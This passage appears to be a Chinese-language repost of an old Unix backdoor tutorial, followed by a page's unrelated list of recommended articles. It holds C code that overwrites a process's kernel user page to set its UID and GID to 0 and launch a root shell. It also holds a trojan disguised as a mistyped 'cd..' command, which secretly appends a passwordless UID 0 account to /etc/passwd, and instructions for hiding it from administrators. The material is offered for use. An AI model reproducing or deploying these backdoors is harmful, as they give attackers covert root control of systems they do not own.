}
userlocation=address();
where=(lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user pagen");
perror(argv);
exit(20);
}
count=read(fd,&userpage,sizeof(struct user));
if(count!=sizeof(struct user)){
printf("Cannot read user pagen");
perror(argv);
exit(30);
}
printf("Current UID: %dn",userpage.u_ruid);
printf("Current GID: %dn",userpage.g_ruid);
userpage.u_ruid=0;
userpage.u_rgid=0;
where=lseek(fd,userlocation,0);
if(where!=userlocation){
printf("Cannot seek to user pagen");
perror(argv);
exit(40);
}
write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage));
execle("/bin/csh","/bin/csh","-i",(char *)0, envp);
}
}
}
<-->
[“笨”方法]
你有没有曾经试过在 UNIX 系统下错把 "cd .." 输入为 "cd.."?这是由于使用 MS windows 和 MS-DOS 养成的习惯 。这种错误网管是否也会犯呢?如果是这样的话,可不可以让他为我们做点“贡献”呢?:) 例如当他输入 "cd.." 时,会激活我们的木马程序 。这样我们就不必登录到系统去激活木马了 。以下是程序示例:
<++> backdoor/dumb.c
/*
本程序可在管理员偶然地输入 cd.. 时向 /etc/passwd 文件添加一个 UID 0 帐号 。但同时它也实现 cd .. 功能,从而骗过管理员 。
*/
#include
#include
main()
{
FILE *fd;
fd=fopen("/etc/passwd","a+");
fprintf(fd,"hax0r::0:0::/root:/bin/shn");
system("cd");
}
<-->
把上面的程序编译好,放到隐蔽的地方 。最好使用 chown 命令将该程序的属主改为 root,使管理员使用 "ls -alF" 命令看到 suid 程序时不至于怀疑 。
好了,将这个程序(假设其名为 fid)放好以后,下一步的工作就是建立该程序到 "cd.." 的链接:ln cd.. /bin/out 。这样,只要系统管理员犯了这个输入错误,你就可以又一次得到系统控制权了 。
版权有侵犯请告知,随时删除 。
推荐阅读
- 10个数据可视化技巧,让你一看就懂
- 操控网络还能操控电压,你见过这样的黑客吗?
- 黑客如何钓鱼?黑客带你了解高超的钓鱼平台
- 吐血整理社保报销的16个技巧,比别人多报几万块
- 养发财树,学会3个技巧,茎杆粗壮,四季常青
- 筷子发霉看起来很恶心?不要扔!记住这个小技巧让筷子光亮如新
- 吃完火锅,衣服上味道太重?一招解决更多小技巧等你解锁
- 超全化妆小技巧
- 狭窄过道内倒库式掉头,挪车走线打方向技巧
- 结婚戒指是男方买还是互相买,怎么选择大有技巧
